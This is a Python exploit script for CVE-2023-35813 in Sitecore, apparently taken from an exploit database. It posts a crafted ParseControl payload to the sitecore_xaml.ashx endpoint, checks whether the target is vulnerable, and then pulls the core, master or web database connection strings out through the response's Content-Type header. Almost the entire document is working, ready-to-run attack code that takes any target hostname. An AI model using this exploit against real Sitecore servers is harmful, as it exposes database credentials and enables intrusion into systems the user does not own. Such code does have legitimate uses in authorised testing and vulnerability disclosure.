Sitecore - Remote Code Execution v8.2 - CVE-2023-35813

#!/usr/bin/env python3
#
# Exploit Title: Sitecore - Remote Code Execution v8.2
# Exploit Author: abhishek morla
# Google Dork: N/A
# Date: 2024-01-08
# Vendor Homepage: https://www.sitecore.com/
# Software Link: https://dev.sitecore.net/
# Version: 10.3
# Tested on: windows64bit / mozila firefox
# CVE : CVE-2023-35813
# The vulnerability impacts all Experience Platform topologies (XM, XP, XC) from 9.0 Initial Release to 10.3 Initial Release; 8.2 is also impacted
# Blog : https://medium.com/@abhishekmorla/uncovering-cve-2023-35813-retrieving-core-connection-strings-in-sitecore-5502148fce09
# Video POC : https://youtu.be/vWKl9wgdTB0

import argparse
import requests
from urllib.parse import quote
from rich.console import Console

console = Console()
def initial_test(hostname):
    # Initial payload to test vulnerability
    test_payload = '''
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
    Context-Response-ContentType='TestVulnerability'
    />
    '''
    encoded_payload = quote(test_payload)

    url = f"https://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

    response = requests.post(url, headers=headers, data=data, verify=False)

    # Check for the test string in the Content-Type of the response
    return 'TestVulnerability' in response.headers.get('Content-Type', '')

def get_payload(choice):
    # Payload templates for different options
    payloads = {
        '1': "<%$ ConnectionStrings:core %>",
        '2': "<%$ ConnectionStrings:master %>",
        '3': "<%$ ConnectionStrings:web %>"
    }

    base_payload = '''
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
    Context-Response-ContentType='{}'
    />
    '''

    return base_payload.format(payloads.get(choice, "Invalid"))

def main(hostname):
    if initial_test(hostname):
        print("Exploiting, Please wait...")
        console.print("[bold green]The target appears to be vulnerable. Proceed with payload selection.[/bold green]")
        print("Select the payload to use:")
        print("1: Core connection strings")
        print("2: Master connection strings")
        print("3: Web connection strings")
        payload_choice = input("Enter your choice (1, 2, or 3): ")

        payload = get_payload(payload_choice)
        encoded_payload = quote(payload)

        url = f"http://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

        response = requests.post(url, headers=headers, data=data)

        if 'Content-Type' in response.headers:
            print("Content-Type from the response header:")
            print("\n")
            print(response.headers['Content-Type'])
        else:
            print("No Content-Type in the response header. Status Code:", response.status_code)
    else:
        print("The target does not appear to be vulnerable to CVE-2023-35813.")


if __name__ == "__main__":
    console.print("[bold green]Author: Abhishek Morla[/bold green]")
    console.print("[bold red]CVE-2023-35813[/bold red]")
    parser = argparse.ArgumentParser(description='Test for CVE-2023-35813 vulnerability in Sitecore')
    parser.add_argument('hostname', type=str, help='Hostname of the target Sitecore instance')
    args = parser.parse_args()

    main(args.hostname)